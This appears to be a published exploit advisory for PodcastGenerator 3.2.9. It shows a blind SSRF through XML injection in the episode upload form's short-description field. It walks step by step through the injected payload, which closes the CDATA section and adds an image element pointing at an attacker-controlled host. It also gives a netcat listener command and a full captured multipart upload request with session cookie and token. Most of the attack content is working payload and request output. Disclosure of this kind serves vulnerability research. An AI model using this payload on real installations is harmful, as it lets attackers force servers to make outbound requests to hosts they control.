PodcastGenerator 3.2.9 – Blind SSRF via XML Injection
#Exploit Title: PodcastGenerator 3.2.9 - Blind SSRF via XML Injection #Application: PodcastGenerator #Version: v3.2.9 #Bugs: Blind SSRF via XML Injection #Technology: PHP #Vendor URL: https://podcastgenerator.net/ #Software Link: https://github.com/PodcastGenerator/PodcastGenerator #Date of found: 01-07-2023 #Author: Mirabbas Ağalarov #Tested on: Linux 2. Technical Details & POC ======================================== steps: 1. Go to 'Upload New Episodes' (http://localhost/PodcastGenerator/admin/episodes_upload.php) 2. Fill all section and Short Description section set as 'test]]></shortdescPG><imgPG path="">( example :Attacker domain)http://localhost:3132</imgPG><shortdescPG><![CDATA[test' payload: test]]></shortdescPG><imgPG path="">http://localhost:3132</imgPG><shortdescPG><![CDATA[test By the way i used localhost.If you have domain, you can use domain. 3.And upload episodes 4. I am listening on port 3132 because I'm observating for incoming requests nc -lvp 3132 5. And I receive request request: POST /PodcastGenerator/admin/episodes_upload.php HTTP/1.1 Host: localhost Content-Length: 101563 Cache-Control: max-age=0 sec-ch-ua: sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypRUTcUa48pmEcI6Q User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/PodcastGenerator/admin/episodes_upload.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=rsvvc28on2q91ael2fiou3nad3 Connection: close ------WebKitFormBoundarypRUTcUa48pmEcI6Q Content-Disposition: form-data; name="file"; filename="2023-07-01_2023-07-01_2023-07-01_4_photo-1575936123452-b67c3203c357_1_ (2).jpeg" Content-Type: image/jpeg image content blaaahblahasdfjblaaah;sdfblaaahasdf asdfasdfadddblaaahdblaaahddddblaaahddddddblaaahblaaahblaaahdddblaaahddddblaaahdblaaahddblaaahdddddblaaahddddddddddd ------WebKitFormBoundarypRUTcUa48pmEcI6Q Content-Disposition: form-data; name="title" test ------WebKitFormBoundarypRUTcUa48pmEcI6Q Content-Disposition: form-data; name="shortdesc" test]]></shortdescPG><imgPG path="">http://localhost:3132</imgPG><shortdescPG><![CDATA[test ------WebKitFormBoundarypRUTcUa48pmEcI6Q Content-Disposition: form-data; name="date" 2023-07-01 ------WebKitFormBoundarypRUTcUa48pmEcI6Q Content-Disposition: form-data; name="time" 17:02 ------WebKitFormBoundarypRUTcUa48pmEcI6Q Content-Disposition: form-data; name="episodecover"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundarypRUTcUa48pmEcI6Q Content-Disposition: form-data; name="longdesc" test ------WebKitFormBoundarypRUTcUa48pmEcI6Q Content-Disposition: form-data; name="episodenum" 33 ------WebKitFormBoundarypRUTcUa48pmEcI6Q Content-Disposition: form-data; name="seasonnum" 33 ------WebKitFormBoundarypRUTcUa48pmEcI6Q Content-Disposition: form-data; name="itunesKeywords" ------WebKitFormBoundarypRUTcUa48pmEcI6Q Content-Disposition: form-data; name="explicit" no ------WebKitFormBoundarypRUTcUa48pmEcI6Q Content-Disposition: form-data; name="authorname" ------WebKitFormBoundarypRUTcUa48pmEcI6Q Content-Disposition: form-data; name="authoremail" ------WebKitFormBoundarypRUTcUa48pmEcI6Q Content-Disposition: form-data; name="customtags" ------WebKitFormBoundarypRUTcUa48pmEcI6Q Content-Disposition: form-data; name="token" vdzM0jc75uLMHV7ovxew8Dawh5mnWSpz ------WebKitFormBoundarypRUTcUa48pmEcI6Q-- |